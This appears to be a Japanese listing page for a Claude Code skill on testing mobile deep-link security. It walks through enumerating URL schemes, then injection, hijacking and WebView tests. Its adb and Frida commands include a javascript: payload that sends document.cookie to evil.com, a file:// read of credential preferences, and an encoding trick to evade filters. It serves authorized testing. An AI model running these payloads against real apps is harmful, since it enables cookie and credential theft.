exploiting-deeplink-vulnerabilities について
Android と iOS のモバイルアプリにおけるディープリンクの安全性を評価するスキルです。入口の特定、パラメーターのテスト、リンク乗っ取りの確認、WebView の調査を案内します。使用には許可が必要です。
主な機能
- 01Android と iOS のディープリンク入口の列挙
- 02リンクパラメーターのインジェクションテスト
- 03リンク乗っ取りリスクの確認
- 04WebView の読み込み動作の評価
- 05パラメーター検証と認可の確認
活用シーン
- 01カスタム URL スキームの不正アクセス確認
- 02リンクパラメーターのリダイレクトとインジェクションテスト
- 03App Links と Universal Links の検証状況評価
- 04ディープリンク URL 読み込み時の WebView リスク確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-deeplink-vulnerabilitiesインストール後、Claude Code で/exploiting-deeplink-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
ディープリンクの脆弱性の悪用
使用するタイミング
次の場合にこのスキルを使用してください。
- モバイルアプリのディープリンク処理におけるインジェクションやリダイレクトの脆弱性を評価する場合
- Android のインテントフィルターと iOS の URL スキームハンドラーをテストし、不正アクセスが可能か確認する場合
- App Links(Android)と Universal Links(iOS)の検証を評価する場合
- 競合するアプリ登録によるリンクハイジャックをテストする場合
許可なく使用しないでください。ディープリンクの悪用により、対象アプリで意図しない操作が実行される可能性があります。
前提条件
- ADB を備えた Android デバイス、または Objection/Frida を備えた iOS デバイス
- AndroidManifest.xml の解析用に apktool または JADX で逆コンパイルした APK
- 対象アプリに登録されている URL スキームとインテントフィルターに関する知識
- Android のインテントテスト用の Drozer
- ディープリンクによってトリガーされる API 呼び出しを傍受するための Burp Suite
ワークフロー
ステップ 1:ディープリンクのエントリーポイントを列挙する
Android - AndroidManifest.xml から抽出:
# Decompile APK
apktool d target.apk -o decompiled/
# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />
iOS - Info.plist から抽出:
# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com
# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association
ステップ 2:ディープリンクインジェクションをテストする
ADB 経由の Android:
# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
# Test path traversal
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
Safari またはコマンドライン経由の iOS:
# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337
# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
ステップ 3:リンクハイジャックをテストする
Android:
# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
# <action android:name="android.intent.action.VIEW" />
# <category android:name="android.intent.category.DEFAULT" />
# <category android:name="android.intent.category.BROWSABLE" />
# <data android:scheme="myapp" />
# </intent-filter>
# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link
# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking
ステップ 4:WebView のディープリンク読み込みをテストする
# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
ステップ 5:パラメーターの検証を評価する
各ディープリンクパラメーターについて、次の項目をテストします。
- ローカルデータベースを照会するパラメーターの SQL インジェクション
- ファイルパスパラメーターのパストラバーサル
- サーバーリクエストをトリガーする URL パラメーターの SSRF
- user_id または session パラメーターを介した認証バイパス
主な概念
| 用語 | 定義 |
|---|---|
| カスタム URL スキーム | 呼び出されると特定のアプリハンドラーにルーティングする、アプリに登録されたプロトコル(myapp://) |
| App Links(Android) | 検証済み HTTPS ディープリンク。選択ダイアログを表示せず、検証済みのアプリを直接開きます |
| Universal Links(iOS) | Web ドメイン上の apple-app-site-association JSON ファイルを使用する、Apple の検証済みディープリンク機能 |
| インテントハイジャック | 同じ URL スキームまたはインテントフィルターを登録し、ディープリンクを傍受する悪意のあるアプリ |
| WebView ブリッジ | WebView コンテンツに公開される JavaScript インターフェース。ディープリンクで読み込まれた URL 経由でアクセスされる可能性があります |
ツールとシステム
- ADB:
am startを介してディープリンクを呼び出すための Android コマンドラインツール - Drozer:インテントベースの攻撃対象領域をテストするための Android セキュリティフレームワーク
- apktool:AndroidManifest.xml とインテントフィルターの定義を抽出する APK 逆コンパイルツール
- Frida:実行時に URL スキームハンドラーをフックするための動的インストルメンテーションツール
- Burp Suite:ディープリンクによるナビゲーションでトリガーされる API 呼び出しを傍受するプロキシ
よくある落とし穴
- App Links の検証:ドメインとの関連付けが検証済みの Android App Links は、ハイジャックに対して耐性があります。
https://domain/.well-known/assetlinks.jsonにあるassetlinks.jsonを確認してください。 - フラグメントの処理:一部のアプリでは、URL フラグメント(#)をクエリパラメーター(?)とは異なる方法で処理します。両方をテストしてください。
- エンコーディングによる回避:ディープリンクハンドラーのクライアント側入力フィルタリングを回避するため、ペイロードを URL エンコードしてください。
- 複数ステップのディープリンク:一部のディープリンクには認証状態が必要です。認可の強制を評価するため、ログイン後とログイン前の両方でテストしてください。
コメント
Markdown 対応